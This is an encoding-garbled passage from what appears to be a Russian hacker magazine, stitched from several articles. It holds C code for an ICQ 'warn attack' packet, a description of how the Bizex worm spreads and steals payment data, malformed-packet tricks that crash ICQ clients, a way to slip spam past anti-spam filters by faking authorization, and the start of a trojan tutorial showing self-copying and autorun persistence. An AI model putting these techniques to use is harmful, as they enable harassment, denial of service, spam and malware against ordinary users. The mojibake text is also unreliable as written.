êåòà ICQ).

Ñìîòðèì íà ñõåìó.
Channel ID � èäåíòèôèêàòîð êàíàëà.

Sequence number � ìîæåò áûòü ñëó-
÷àéíûì ÷èñëîì.

Data � ñîáñòâåííî äàííûå, êîòîðûå
ìû ïåðåäàåì â ïàêåòå.

Íèæå ïðèâåäåíà ïàðà ôóíêöèé, êî-
òîðûå ìû áóäåì èñïîëüçîâàòü äëÿ
îòêðûòèÿ è çàêðûòèÿ FLAP�à.

static char *flap_begin(char *buf, char
chanel)

{
static int seq = 0;
buf = writeb(buf, 0x2A);
buf = writeb(buf, chanel);
buf = writew(buf, ++seq);
return buf+2;

}

static char *flap_end(char *buf, char
*start)

{
start -=2;
writew(start, buf-start-2);
return buf;

}

Çàìåòü, ìû óæå èñïîëüçóåì ôóíê-
öèè, êîòîðûå ïðåäîïðåäåëèëè âûøå,
è òåïåðü íàñòàëî âðåìÿ íàøåé ãëàâ-
íîé ôóíêöèè, â êîòîðîé è ôîðìèðóåò-
ñÿ âàðí-ïàêåò.

Ïðèñòóïèì ê îñíîâíîìó êîäó.

main(int argc, char *argv[])
{

Îáúÿâëÿåì, ñîîòâåòñòâåííî, áóôåð,
êóäà ìû áóäåì âñå ôîðìèðîâàòü,
FLAP è TLV:

static char *buf, *flap, *tlv;

Èäåíòèôèêàòîð çàïðîñà - íåîáõîäè-
ìîå çíà÷åíèå äëÿ SNAC-çàãîëîâêà,
ïðè ñåàíñå êàæäûé ðàç óâåëè÷èâàåò-
ñÿ íà åäèíèöó. Åñëè ýòî çíà÷åíèå íå
áóäåò óâåëè÷èâàòüñÿ, ïðîèçîéäåò
ìãíîâåííîå îòêëþ÷åíèå îò ñåðâåðà:

u_int32_t requestid = 0;

Ñîáèðàåì âàðí-ïàêåò è ïàêóåì ýòî
âñå õîçÿéñòâî â áóôåð:

buf = (char *)malloc(n, sizeof(char ));
buf = flap = flap_begin(buf, 2);
buf = writew(buf, 0x0004);
buf = writew(buf, 0x0008);
buf = writew(buf, 0x0000);
buf = writel(buf, ++requestid);

Âàæíîå çàìå÷àíèå ïî ïîâîäó àíî-
íèìíîñòè ïîñëàííîãî ïàêåòà: çíà÷å-
íèå 0x0001 ñôîðìèðóåò àíîíèìíûé
ïàêåò, çíà÷åíèå 0x0000 ñôîðìèðóåò
íåàíîíèìíûé ïàêåò. 

Â îáùåì, åñëè ïîñûëàòü ïàêåò àíî-
íèìíî, ñåðâåð ïðîñòî îòêàæåòñÿ åãî
ïðèíÿòü :). Ïèøåì:

buf = writew(buf, 0x0000); //íå àíîíèì-
íûé

buf = writeb(buf, uinlen);
buf = writes(buf, uin, uinlen);
flap_end(buf, flap);

Ïîñëå òîãî êàê ìû ñôîðìèðîâàëè
áóôåð (à ìû åãî ñôîðìèðîâàëè), îòï-
ðàâëÿåì åãî íà ñåðâåð ôóíêöèåé
send, à â ñëó÷àå ñåòåâîé ïðîáëåìû
âûâîäèì îøèáêó:

if(send(sock, buf, packlen,0) == -1){per-
ror("SNAC04,08 Send:"); exit(1);}
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Åñëè òåáå
íàäîåëà
àñüêà, äîñ-
òàòî÷íî
óêàçàòü â
íàñòðîéêàõ
ñâîé e-mail:
xxx@vke.ru
(âìåñòî xxx
ìîæíî
ïîäñòàâèòü
÷òî óãîäíî),
è óèí îêà-
æåòñÿ àí-
ðåãíóò :).

Íà êîìïàêò-
äèñêå òû
íàéäåøü èñ-
õîäíûé êîä
ïðîãðàììû,
êîòîðàÿ ïî-
êàçûâàåò
âàðíèíã-ëå-
âåë êëèåíòà
ICQ. Ñàìî
ñîáîé, åãî
ëåãêî ìîäè-
ôèöèðîâàòü
äëÿ íóæä
ìîëîäåæè :).

Íà ñåðâèñå ICQ åñòü ïîíÿòèå êàíàëà (channel). Âñåãî èõ 5 øòóê,
è, â çàâèñèìîñòè îò òîãî êàêîé êàíàë â óêàçàí ïàêåòå ICQ, îí ïåðå-
äàåòñÿ íà îáðàáîòêó ñîîòâåòñòâóþùèì ñëóæáàì (ôóíêöèÿì). Êàíàë
â ïàêåòå ICQ âñåãäà óêàçûâàåòñÿ âòîðûì áàéòîì âî FLAP-ïàêåòå.
chanel 11 - ñëóæèò äëÿ íà÷àëüíûõ öåëåé, òàêèõ, êàê óñòàíîâëåíèå
ñâÿçè (àâòîðèçàöèÿ).
chanel 22 - ñëóæèò äëÿ ïåðåäà÷è îñíîâíûõ ïàêåòîâ, ïåðåäà÷è äàí-
íûõ, â òîì ÷èñëå è ñîîáùåíèé.
chanel 33 - êàíàë îáðàáîòîê îøèáîê.
chanel 44 - êàíàë ðàçúåäèíåíèÿ.
chanel 55 - ñëóæåáíûé êàíàë; âîçìîæíî, îí èñïîëüçóåòñÿ àäìèíèñò-
ðàòîðàìè.

ÊÀÍÀËÛ ÒÅÒÈ ÀÑÈ



Åñëè ïàêåò áûë óñïåøíî äîñòàâëåí
íà ñåðâåð, ñåðâåð âåðíåò íàì ïàêåò ñî
SNAC(04, 09), â êîòîðîì áóäåò ñîäåð-
æàòüñÿ íîâûé óðîâåíü warning-level�à
UIN�à, êîòîðûé ìû ñîáðàëèñü àòàêî-
âàòü, â ïðîöåíòàõ. Â ñëó÷àå îòêàçà
ñåðâåðà â äàííîé óñëóãå âåðíåòñÿ ïà-
êåò ñî SNAC (04, 01). 

Íà ýòîì ìû çàâåðøàåì íàø êðàòêèé
ðàññêàç ïðî warn-àòàêó. Äåëî ýòî ïî-
êà åùå íåïóáëè÷íîå, è ïîëíûå èñõîä-
íèêè òåáå íèêòî ïðîñòî íå îòäàñò, íî
êîå-÷òî ìû âñå æå ðàçäîáûëè è âûëî-
æèëè íà CD ê æóðíàëó. Õâàòàé, ïîêà
ãîðÿ÷åå :). Íî òåìà àòàê íà èçâåñòíûé
ïåéäæåð ýòèì íå îãðàíè÷èâàåòñÿ. Íà
çàêóñêó ìû ðàññêàæåì î ñëåãêà óñòà-
ðåâøèõ, íî åùå ðàáî÷èõ ñïîñîáàõ.

ICQ-×ÅÐÂÈ
Êàê òàêîâûå, ICQ-÷åðâè ÿâëÿþò-

ñÿ ïðîãðàììàìè äâóõñòóïåí÷àòîãî
ïðèíöèïà äåéñòâèÿ. Ìåõàíèçì ðàáî-
òû ÷åðâÿ äîñòàòî÷íî ïðîñò, áîëåå
òîãî, îí âîïðåêè ñëóõàì äàæå íå èñ-
ïîëüçóåò ïðîòîêîë ICQ äëÿ ðàñïðî-
ñòðàíåíèÿ. Àëãîðèòì åãî òàêîé:
÷åðâü ðàññûëàåò ñ çàðàæåííîãî
êîìïüþòåðà ñîîáùåíèå ïî ñåòè ICQ
(èñïîëüçóÿ êîíòàêò-ëèñò çàðàæåííîé
ìàøèíû): «Ïîñåòèòå ñàéò
...com|biz|net». Åñëè ïîëüçîâàòåëü
çàõîäèò íà ýòîò ñàéò, â äåëî âñòóïàåò
ñêðèïò, èñïîëüçóþùèé óÿçâèìîñòè â
Internet Explorer, êîòîðûé ñîáñòâåí-
íî è îòâå÷àåò çà ðàçìíîæåíèå ÷åð-
âÿ. Èìåííî îí ñêà÷èâàåò íà êîìïüþ-
òåð êîìïîíåíòû ÷åðâÿ è èíñòàëëèðó-
åò èõ â ñèñòåìó.

Äëÿ ïðèìåðà âîçüìåì íàøóìåâ-
øèé âèðóñ Bizex. Ýòî ñîîáùåíèå ïî-
ëó÷èëè ìíîãèå ïîëüçîâàòåëè ñåòè
ICQ: www.jokeworld.xxx/xxx.html :)».
Äëÿ ìàñêèðîâêè ïðè ïðîñìîòðå âåá-
ñàéòà ïîëüçîâàòåëþ ïîêàçûâàåòñÿ
ñîäåðæàíèå èíòåðíåò-ïðåäñòàâè-
òåëüñòâà "Joe Cartoon" - àâòîðà ïî-
ïóëÿðíûõ àìåðèêàíñêèõ ìóëüòñåðèà-
ëîâ. Â ýòî âðåìÿ âèðóñ àòàêóåò
êîìïüþòåð, èñïîëüçóÿ ñðàçó äâà
íàïðàâëåíèÿ. Âî-ïåðâûõ, ïðîíèêàÿ

ñêâîçü áðåøü â áðàóçåðå Internet
Explorer è ÷åðåç äûðó â îïåðàöèîííîé
ñèñòåìå Windows. Ïî÷èòàòü î äàííûõ
îòâåðñòèÿõ ìîæíî òóò:
www.microsoft.com/technet/treeview/default.asp?
url=/technet/security/bulletin/MS02-047.asp
(óÿçâèìîñòü â îñëèêå IE) è òóò:
www.microsoft.com/technet/treeview/default.asp?
url=/technet/security/bulletin/ms03-011.asp (î÷å-
ðåäíàÿ ïðîáîèíà â îïåðàöèîíêå îò
Microsoft). 

Â ðåçóëüòàòå ýòèõ äåéñòâèé íà
êîìïüþòåð áåç óâåäîìëåíèÿ ïîëüçî-
âàòåëÿ çàãðóæàåòñÿ ñïåöèàëüíûé
ôàéë, êîòîðûé "äîêà÷èâàåò" íåïîñðå-
äñòâåííî ôàéë-íîñèòåëü Bizex (APT-
GETUPD.EXE) è çàïóñêàåò åãî íà âû-
ïîëíåíèå. Ïîñëå ýòîãî Bizex íà÷èíàåò
ïðîöåäóðó çàðàæåíèÿ êîìïüþòåðà.
Äëÿ ýòîãî îí ñîçäàåò ïàïêó SYSMON â
ñèñòåìíîì êàòàëîãå Windows, êîïèðóåò
ñåáÿ â íåå ïîä èìåíåì SYSMON.EXE è
ïðîïèñûâàåòñÿ â ðååñòðå:

(HKEY_LOCAL_MACHINE/SOFTWARE/Microso
ft/Windows/CurrentVersion/Run) 

Òàêèì îáðàçîì, âèðóñ îáåñïå÷èâàåò
ñåáå àâòîìàòè÷åñêèé çàïóñê ïðè êàæ-
äîé çàãðóçêå îïåðàöèîííîé ñèñòåìû. 

Ïî çàâåðøåíèè ýòîãî ïðîöåññà Bizex
íà÷èíàåò ïðîöåäóðó äàëüíåéøåãî
ðàñïðîñòðàíåíèÿ ïî ICQ. ×åðâü èçâ-
ëåêàåò èç ñåáÿ íåñêîëüêî ñèñòåìíûõ
áèáëèîòåê äëÿ ðàáîòû ñ ýòèì èíòåð-
íåò-ïåéäæåðîì è óñòàíàâëèâàåò èõ â
ñèñòåìíûé êàòàëîã Windows. Ñ èõ ïî-
ìîùüþ Bizex ïîëó÷àåò äîñòóï ê ñïèñ-
êó êîíòàêòîâ ICQ, îòêëþ÷àåò çàïóùåí-
íûé ICQ-êëèåíò, îñóùåñòâëÿåò ñàìîñ-

òîÿòåëüíîå ïîäêëþ÷åíèå ê ñåðâåðó îò
èìåíè âëàäåëüöà çàðàæåííîé ìàøè-
íû è îò åãî èìåíè ðàññûëàåò ïî âñåì
íàéäåííûì êîíòàêòàì ññûëêó íà óêà-
çàííûé âûøå âåá-ñàéò. Âàæíî îòìå-
òèòü, ÷òî ÷åðâü àòàêóåò òîëüêî îðèãè-
íàëüíûå ICQ-êëèåíòû (çà èñêëþ÷åíè-
åì ICQ2Go), â òî âðåìÿ êàê àëüòåðíà-
òèâíûå ïåéäæåðû (Miranda, Trillian) íå
ïîääàþòñÿ àòàêå. Êðîìå òîãî, Bizex óñ-
ïåøíî âîðîâàë êîíôèäåíöèàëüíóþ
èíôîðìàöèþ ñ çàðàæåííûõ êîìïüþ-
òåðîâ: ñîáèðàë èíôîðìàöèþ îá óñòà-
íîâëåííûõ ïëàòåæíûõ ñèñòåìàõ, ïå-
ðåõâàòûâàë äàííûå, ïåðåäàâàåìûå ñ
êîìïüþòåðà ïî ïðîòîêîëó HTTPS.

Òû ñïðîñèøü: «Êàê ÷åðâü îò ìîåãî
èìåíè ìîæåò ðàññûëàòü ñîîáùå-
íèÿ?» Äàâàé ïîïðîáóåì ðàçîáðàòüñÿ.
Â ñåòè ìîæíî íàéòè òàêóþ áèáëèîòå-
êó � ICQAPI.dll. Îíà ñîäåðæèò â ñåáå
íàáîð íåîáõîäèìûõ ôóíêöèé äëÿ ðà-
áîòû ñ àñüêîé. Èìåííî åå ÷åðâü ñêà-
÷èâàåò è óñòàíàâëèâàåò íà êîìïüþ-
òåð äëÿ äàëüíåéøåãî ñâîåãî ðàñïðî-
ñòðàíåíèÿ. 

Èíà÷å ãîâîðÿ, ICQ API - íàáîð ôóíê-
öèé, ñîäåðæàùèéñÿ â DLL. API ïîçâî-
ëÿåò àñèíõðîíèçèðâàòü ïðîöåññû çàï-
ðîñà äàííûõ îò ICQ-êëèåíòà, âûïîëíå-
íèÿ ïåðâîíà÷àëüíûõ äåéñòâèé â êëè-
åíòå è ïîëó÷åíèÿ ñîîáùåíèÿ îò êëè-
åíòà. ×òîáû èñïîëüçîâàòü API, ïðèëî-
æåíèå äîëæíî â íà÷àëå âûçâàòü îäèí
ðàç ôóíêöèþ ICQAPICALL_SETLI-
CENSEKEY. Òîëüêî ïîñëå ýòîãî âîçìî-
æåí âûçîâ îñòàëüíûõ ôóíêöèé. ICQ
API ñîäåðæèò âûçîâû è ñîîáùåíèÿ
(óâåäîìëåíèÿ). Âñå âûçîâû ñèíõðîíè-
çèðîâàíû ñ áëîêèðîâêîé ïî âðåìåíè
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Çàáàâíûé ãëþê àñüêè

Îäíàêî, è ïàìÿòè ìû çàíèìàåì ;)

ICQ-flood

...íà êîìïüþòåð áåç óâåäîìëåíèÿ ïîëüçî-
âàòåëÿ çàãðóæàåòñÿ ñïåöèàëüíûé ôàéë,

êîòîðûé "äîêà÷èâàåò" Bizex.



â 1 ñåêóíäó (timeout) òàêèì îáðàçîì,
÷òî åñëè ICQ êëèåíò íå îòâåòèë çà 1 ñå-
êóíäó, òî çàïðîñ ðàñöåíèâàåòñÿ êàê
íåâûïîëíåííûé. Êàæäûé çàïðîñ
âîçâðàùàåò áóëåâî çíà÷åíèå - FALSE
èëè TRUE â çàâèñèìîñòè îò åãî íåâû-
ïîëíåíèÿ/âûïîëíåíèÿ ñîîòâåòñòâåí-
íî. Ñîîáùåíèÿ îòñûëàþòñÿ îò ICQ-
êëèåíòà, è îíè òîæå ñèíõðîíèçèðîâà-
íû ñ áëîêèðîâêîé ïî âðåìåíè â 1 ñå-
êóíäó: åñëè ïðèëîæåíèå íå îòâåòèëî
çà ýòî âðåìÿ, òî ñîîáùåíèå íå îòîñëà-
íî è ïðèëîæåíèå áîëüøå íèêàêèõ ñî-
îáùåíèé íå ïîëó÷èò.

Âîò íåñêîëüêî ôóíêöèé, êîòîðûå
ñòîðîííåå ïðèëîæåíèå ìîæåò èñïîëü-
çîâàòü äëÿ ðàáîòû ñ ICQ:

ICQAPICall_GetOnlineListDetails �
ôóíêöèÿ, êîòîðàÿ âîçâðàùàåò ñïèñîê
þçåðîâ èç òâîåãî êîíòàêò-ëèñòà,
íàõîäÿùèõñÿ â äàííûé ìîìåíò â îí-
ëàéíå.

ICQAPICall_GetOnlineListType � ôóíê-
öèÿ, êîòîðàÿ âîçâðàùàåò êîä ñîñòîÿ-
íèÿ îòîáðàæåíèÿ êîíòàêò-ëèñòà (0 �
îáû÷íûé âèä, 1 � ðàçáèòèå íà ãðóïïû).

ICQAPICall_SetOwnerState � ôóíê-
öèÿ, êîòîðàÿ óñòàíàâëèâàåò ñòàòóñ
ICQ-êëèåíòà, íàïðèìåð:

BICQAPI_USER_STATE_ONLINE 0
BICQAPI_USER_STATE_CHAT 1
BICQAPI_USER_STATE_AWAY 2
BICQAPI_USER_STATE_NA 3
BICQAPI_USER_STATE_OCCUPIED 4
BICQAPI_USER_STATE_DND 5
BICQAPI_USER_STATE_INVISIBLE 6
BICQAPI_USER_STATE_OFFLINE 7

ICQAPICall_SendMessage � ôóíêöèÿ,
êîòîðàÿ ìîæåò áûòü èñïîëüçîâàíà
äëÿ ðàññûëêè ñîîáùåíèÿ ïîëüçîâàòå-
ëÿì èç êîíòàêò-ëèñòà ñ ïðåäëîæåíèåì
ïîñåòèòü âðàæäåáíûé ñàéò.

À ÄÀÂÀÉÒÅ ÏÎÂÅÑÈÌ
ÊËÈÅÍÒÀ?

Âñå ìû çíàåì, ÷òî ìîæíî ïðèñëàòü
òîâàðèùó ñâîé êîíòàêò-ëèñò. Íî ìàëî
êòî çíàåò, ÷òî ýòîò áåçîáèäíûé ïåðå-
÷åíü êîíòàêòîâ ìîæåò íàìåðòâî ïîâå-
ñèòü ICQ-êëèåíòà. Ïàêåò êîíòàêò-ëèñòà
ôîðìèðóåòñÿ ñëåäóþùèì îáðàçîì:
âíà÷àëå èäåò êîëè÷åñòâî ïåðåäàâàå-

ìûõ óèíîâ, à ïîñëå - ñïèñîê âèäà Nick ->
UIN. Åñëè «ïîäïðàâèòü» ïàêåò òàêèì îá-
ðàçîì, ÷òîáû êîëè÷åñòâî ïåðåäàâàå-
ìûõ óèíîâ áûëî ðàâíî 65535 (0xFFFF),
òî êëèåíò, êîòîðîìó ïåðåäàåòñÿ «ïîä-
ïðàâëåííûé ïàêåò», íàãëóõî âèñíåò.
Ïðîèñõîäèò ýòî, ïî-âèäèìîìó, èç-çà òî-
ãî ÷òî àñüêà âûäåëÿåò ïàìÿòü äëÿ îáðà-
áîòêè ïîëó÷åííûõ àäðåñîâ èñõîäÿ èç
êîëè÷åñòâà ïðèñëàííûõ óèíîâ. ×òî èç
ýòîãî ìîæåò ïîëó÷èòüñÿ? Äà âñå ÷òî
óãîäíî: àñüêà ìîæåò âûïàñòü, ìîæåò çà-
âèñíóòü, ìîæåò âûäåëèòü ìíîãî ïàìÿòè
è âïàñòü â ïðîñòðàöèþ. Ïîñëåäñòâèÿ òà-
êîé àòàêè áóäóò âàðüèðîâàòü îò ïåðå-
çàãðóçêè äî ïåðåóñòàíîâêè êëèåíòà.

Åñòü â ICQ èíòåðåñíàÿ ôè÷à, íàçûâà-
åìàÿ email-express. Åñëè ïîñëàòü ïèñü-
ìî íà àäðåñ [uin]@pager.icq.com, òî îíî
â âèäå ñîîáùåíèÿ áóäåò äîñòàâëåíî íà
óèí, êîòîðûé ìû óêàçàëè. Ïàêåò ôîð-
ìèðóåòñÿ â âèäå ñòðîêè, ñîäåðæàùåé
íèê, óèí, åìýéë, òåñò email-express�à.
Ðàçäåëÿþòñÿ îíè ñèìâîëîì «Þ»
(0xFE). Åñëè ýòîò ïàêåò ñôîðìèðîâàí
íåêîððåêòíî, à èìåííî, êîëè÷åñòâî
ðàçäåëèòåëåé íå ñîîòâåòñòâóåò êîëè-
÷åñòâó ïîëåé (íàïðèìåð, â ñòðîêó íàïè-
õàíî 100 ñèìâîëîâ «Þ»), òî àñüêà ïðè
ïîëó÷åíèè ïîäîáíîãî ïàêåòà íà÷èíàåò
ãëþ÷èòü, à â ïåðñïåêòèâå - óìèðàåò.
Áîëüøèíñòâî ïîäîáíûõ áàãîâ, ïðàâäà,
èñïðàâëåíî â ïîñëåäíèõ âåðñèÿõ ICQ.

ß ÎÒ ÈÂÀÍÀ ÏÅÒÐÎÂÈ×À�
Êàê ÷àñòî ó òåáÿ â àñå âûñêàêèâà-

ëî ñîîáùåíèå: «Ïðèâåò! ß Ìàøà (Çèíà,
Êëàâà)! ß äîÿðêà èç äåðåâíè Ãàäþêè-
íî, ìíå îäèíîêî è ñêó÷íî â äåðåâíå ñ
êîðîâàìè! Ïîýòîìó ÿ ôîòêàþñü ñ íèìè
ãîëîé è âûëîæèëà ñâîè ôîòêè íà ñàéò
www.masha.freesexx.___!»? ×òî, ÷àñòî?
Â äàííîì ñëó÷àå ìû èìååì äåëî ñ ICQ-
ñïàìîì, ìåæäó ïðî÷èì, âåñüìà äîõîä-
íûì âèäîì áèçíåñà ;). Êîíå÷íî, ïîëüçî-
âàòåëè ïûòàþòñÿ ñ íèì áîðîòüñÿ: ñíà-
÷àëà ïðîñòî ñíèìàþò ãàëî÷êó â íàñò-
ðîéêàõ, êîòîðàÿ ïîêàçûâàåò ñòàòóñ êëè-
åíòà â ñåòè ICQ, ïîñêîëüêó ìíîãèå
ñïàì-ïðîãðàììû îòñûëàþò ñîîáùåíèÿ,
åñëè êëèåíò â îíëàéíå. Çàòåì âêëþ÷à-
þò àíòèñïàì-ôèëüòð, ñëåäÿùèé çà ïðè-
åìîì ñîîáùåíèé îò ðåñïîíäåíòîâ íå
èç êîíòàêò-ëèñòà. Îäíàêî çëûå âçëîì-
ùèêè íàøëè ñïîñîá îáîéòè ýòî ïðåïÿò-
ñòâèå. Êîìáèíàöèÿ ïðîñòà è èçÿùíà:
âî-ïåðâûõ, îòïðàâëÿåì ïîëüçîâàòåëþ
ñîîáùåíèå, ÷òîáû îêàçàòüñÿ ó íåãî â
«Not in list», çàòåì îòïðàâëÿåì êëèåíòó
ñåðâèñíîå ñîîáùåíèå, ñóòü êîòîðîãî
ñâîäèòñÿ ê ñëåäóþùåìó: «Ñïàñèáî, ÷òî
âû ìåíÿ àâòîðèçîâàëè». Àñüêà êëèåíòà
ïî ñâîåé íàèâíîñòè ïîëàãàåò, ÷òî ðàç-
ðåøåíèå íà àâòîðèçàöèþ äåéñòâèòåëü-
íî áûëî äàíî ïîëüçîâàòåëåì è äîáàâ-
ëÿåò íàñ â êîíòàêò-ëèñò æåðòâû. È íè-
êàêèå àíòèñïàì-ôèëüòðû íàì áîëåå íå
ïîìåõà. 

Àâòîð ááëàãîäàðèò ppayhash'à ((www.aol-
hackers.ru) && VVKE ((vke.ru) ççà ïïîìîùü ââ
ïîäãîòîâêå ññòàòüè èè ïïðîÿâëåííóþ ññòîé-
êîñòü èè òòåðïåðíèå ââ ýýòîì ääåëå ::). E
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Ñîðåö ëåãåíäàðíîãî ipdbrute

IPDFlood



Hi-Tech (hi-tech@nsd.ru, http://nsd.ru)

Å ùå ñî âðåìåí ïîÿâëåíèÿ ïåðâûõ ïåðñîíàëüíûõ êîìïüþòåðîâ ñòàëè âîçíèêàòü âðåäîíîñíûå ïðîãðàììû � âèðóñû.
Èç-çà òîãî ÷òî ñåòü â òå âðåìåíà áûëà áîëüøîé ðåäêîñòüþ, ïàðàçèòû ïåðåáèðàëèñü ñ êîìïüþòåðà íà êîìïüþòåð íà

ðàçëè÷íûõ íîñèòåëÿõ, ìàñêèðóÿñü ïîä èíòåðåñíûå èãðû èëè ïîëåçíûå óòèëèòû.

ÎÄÈÑÑÅß
ÏÐÎÃÐÀÌÌÈÑÒÀ
ÊÐÀÒÊÈÉ ÝÊÑÊÓÐÑ Â ÒÐÎßÍÌÅÉÊÈÍÃ

×ÒÎ ÅÑÒÜ ÒÐÎßÍ?
Äàâíûì-äàâíî ïîä

òðîÿíîì ïîíèìàëè
ïðîñòî çëîáíóþ ïðîã-
ðàììó, êîòîðóþ ðàñïðî-

ñòðàíÿëè íà ðàçëè÷íûõ íîñèòåëÿõ èí-
ôîðìàöèè. Ïðè ïîìîùè ñîöèàëüíîé
èíæåíåðèè ïîëüçîâàòåëÿ çàñòàâëÿëè
çàïóñòèòü åå. Ïîñëåäñòâèÿ çàïóñêà
òðîÿíàòîãäà áûëè îòôîðìàòèðîâàí-
íûé æåñòêèé äèñê, èñïîð÷åííàÿ ñèñòå-
ìà, ñòåðòûå ôàéëû è ìíîãîå-ìíîãîå
äðóãîå. Âîðîâàòü â òî âðåìÿ áûëî
îñîáî íå÷åãî, è îñíîâíîé ôóíêöèåé
òðîÿíîâ áûëè äåñòðóêöèÿ è ïðèêîëû. 

Øëî âðåìÿ, òåõíîëîãèè ðàçâèâà-
ëèñü è ñòàíîâèëèñü âñå áîëåå äîñòóï-
íûìè, è âñêîðå íà ñâåò ïîÿâèëèñü
ïåðâûå íàáðîñêè êëèåíò-ñåðâåðíûõ
òðîÿíîâ, óïðàâëÿåìûõ ÷åðåç TCP/IP
óäàëåííî. Ðàñïðîñòðàíÿëèñü îíè ïî-
ïðåæíåìó íà ðàçëè÷íûõ íîñèòåëÿõ, à
òàêæå ïî èíòåðíåòó è ïî e-mail (ïîä
âèäîì âñÿ÷åñêèõ òâèêåðîâ ñèñòåìû,
êðÿêåðîâ èíòåðíåòà è êîëëåêöèé ïîð-
íî). Íîâîå ïîêîëåíèå òðîÿíîâ óìåëî
íå òîëüêî ôîðìàòèðîâàòü æåñòêèé
äèñê, íî è òàùèòü ñ êîìïüþòåðà PWL,
ICQ UIN, à çàòåì è ïàðîëè èç ðàçëè÷-
íûõ ïî÷òîâûõ ïðîãðàìì, êîøåëüêè ñ
e-äåíüãàìè. Çàòåì ê íåêîòîðûì òðîÿ-
íàì ïîäêëþ÷èëàñü ôóíêöèÿ ñàìîðà-
ñïðîñòðàíåíèÿ, òðîÿíû ñòàëè ñîçäà-
âàòüñÿ, â áîëüøèíñòâå ñëó÷àåâ, äëÿ
êàêèõ ëèáî êîíêðåòíûõ çàäàíèé, ÷òî
ïîçâîëÿëî óìåíüøèòü äî ïðåäåëà
ðàçìåð ñåðâåðà ñ öåëüþ îáëåã÷åíèÿ
åãî âïàðèâàíèÿ. ×òî ïðîùå: ïåðåäàòü
ïî e-mail 300 Êá èëè 5 Êá? 

Íà ÷òî æå íàïðàâëåíî äåéñòâèå ñîâ-
ðåìåííûõ òðîÿíîâ? Â ïåðâóþ î÷å-
ðåäü, êîíå÷íî íà êðàæó êîíôèäåíöè-

àëüíîé èíôîðìàöèè. Â ïîíÿòèå «êîí-
ôèäåíöèàëüíàÿ èíôîðìàöèÿ» âõîäÿò
íå òîëüêî ïàðîëè RAS, ICQ, IRC, 
E-MAIL, NetBIOS, FTP, SHELL, íî è öåí-
íûå äîêóìåíòû: äàííûå î êðåäèòíîé
êàðòå, êîïèè ïàñïîðòà è ïðî÷èå âàæ-
íûå ñâåäåíèÿ, êîòîðûå ìîæíî ïîëó-
÷èòü èç ôàéëîâ, ñîõðàíåííûõ íà
êîìïüþòåðå. Ïðèìåð òàêîãî òðîÿíà
áûë ðàññìîòðåí â Ñïåöå #11.2003(36),
ïîñâÿùåííîìó êàðäèíãó, è óìåëî íà-
øå òâîðåíèå (òåîðåòè÷åñêè) óòÿãèâàòü
WM-êîøåëå÷åê ó íåóìíîãî, íî áîãàòî-
ãî ïîëüçîâàòåëÿ.

Ýêñïåðò êîìïüþòåðíîé âèðóñîëîãèè
Åâãåíèé Êàñïåðñêèé â ñâîåé êíèãå
«Êîìïüþòåðíûå âèðóñû» äàë òàêîå
îïðåäåëåíèå òðîÿíó: «Ê òðîÿíñêèì êî-
íÿì îòíîñÿòñÿ ïðîãðàììû, íàíîñÿùèå
êàêèå-ëèáî ðàçðóøèòåëüíûå äåéñòâèÿ,
òî åñòü â çàâèñèìîñòè îò êàêèõ-ëèáî
óñëîâèé èëè ïðè êàæäîì çàïóñêå
óíè÷òîæàþùèå èíôîðìàöèþ íà äèñ-
êàõ, "çàâåøèâàþùèå" ñèñòåìó è ò.ï.».

ÑÄÅËÀÉ ÑÀÌ?
Íàïèñàíèå ïîäîáíûõ ïðîãðàìì

ãðîçèò ïðîáëåìàìè ñ çàêîíîì ïî
ñòàòüå 273 ÓÊ ÐÔ. Ìû íå íåñåì íèêà-
êîé îòâåòñòâåííîñòè çà äåéñòâèÿ ÷è-

òàòåëÿ, êîòîðûå îí ìîæåò ñâåðøèòü
ïîä âëèÿíèåì ýòîé ñòàòüè. Îäíàêî â
îáðàçîâàòåëüíûõ öåëÿõ ìû âñå æå
ïðèâåäåì íåêîòîðûå ó÷àñòêè êîäà.

Âî-ïåðâûõ, íåñìîòðÿ íà ïðåäåëüíóþ
ïðîñòîòó íàøåé ïðîãðàììêè îíà áóäåò
êëèåíò-ñåðâåðíîé. Ïèñàòü ìû áóäåì â
VC++ è äëÿ íà÷àëà ñîçäàäèì äâà ôàé-
ëà - ñåðâåð è êëèåíò. Ñåðâåð, ðàçóìå-
åòñÿ, íàäî âàÿòü áåçî âñÿêîé âèçóàëè-
çàöèè ;). Ñîñòîÿíèÿ ïðîåêòîâ ñðàçó æå
ïîìåíÿåì íà Release. Ïîäêëþ÷èì ê
íèì winsock32.dll è ôóíêöèè WIN API
äëÿ ðàáîòû ñ ñîêåòàìè è íåïîñðåä-
ñòâåííîé ñâÿçè êëèåíòà ñ ñåðâåðîì
ïîñðåäñòâîì TCP-IP. Ïîñëåäíåå ëåãêî
ñäåëàòü, âïèñàâ â êîä äâå ñëåäóþùèå
ñòðî÷êè:

WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);

Íî îá ýòîì ÷óòü ïîçæå, à ïîêà ïåðåä
íàìè ñòîÿò äâå ïðîáëåìû - ïðîïèñàòü
ñåðâåð â àâòîçàãðóçêó è ñäåëàòü òàê,
÷òîáû ïðè çàïóñêå îí àâòîìàòè÷åñêè
ïåðåïèñàëñÿ â ñâîþ äèðåêòîðèþ.

Äëÿ âûïîëíåíèÿ êîïèðîâàíèÿ äîñ-
òàòî÷íî óçíàòü òåêóùåå ïîëîæåíèå,
âûçâàâ ôóíêöèþ
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Çàïóñê BAT�íèêà ïðîøåë óñïåøíî Ìíîãîôóíêöèîíàëüíûé òðîÿí Sub-7



GetModuleFileName(NULL, buf1, size-
of(buf1)), ïîñëå ÷åãî íà÷àòü ïðîöåññ
êîïèðîâàíèÿ: «CopyFile(buf1,
sti.full_exe_name, FALSE)». «FALSE»
îçíà÷àåò, ÷òî, åñëè ôàéë ñóùåñòâóåò,
îí íå áóäåò ïåðåçàïèñàí. Îíî è ïðà-
âèëüíî: çà÷åì ñòî ðàç ïåðåïèñûâàòü
ñåáÿ; òåì áîëåå, åñëè ôàéë óæå çàïó-
ùåí îòêóäà íàäî, ïîïûòêà ñòåðåòü åãî
ìîæåò âûçâàòü îøèáêó, êîòîðàÿ íàñ-
òîðîæèò ïîëüçîâàòåëÿ.

Òåïåðü ðàçáåðåìñÿ ñ àâòîçàãðóçêîé
(ïîäðîáíåå äàííûé âîïðîñ ðàññìîò-
ðåí â ñîîòâåòñòâóþùåé ñòàòüå ýòîãî
Ñïåöà). Â ïðèíöèïå, åñëè òðîÿí ñîçäà-
åòñÿ äëÿ òîãî, ÷òîáû ïîëó÷èòü íåîáõî-
äèìûå äàííûå îäèí ðàç, è äàëüøå åãî
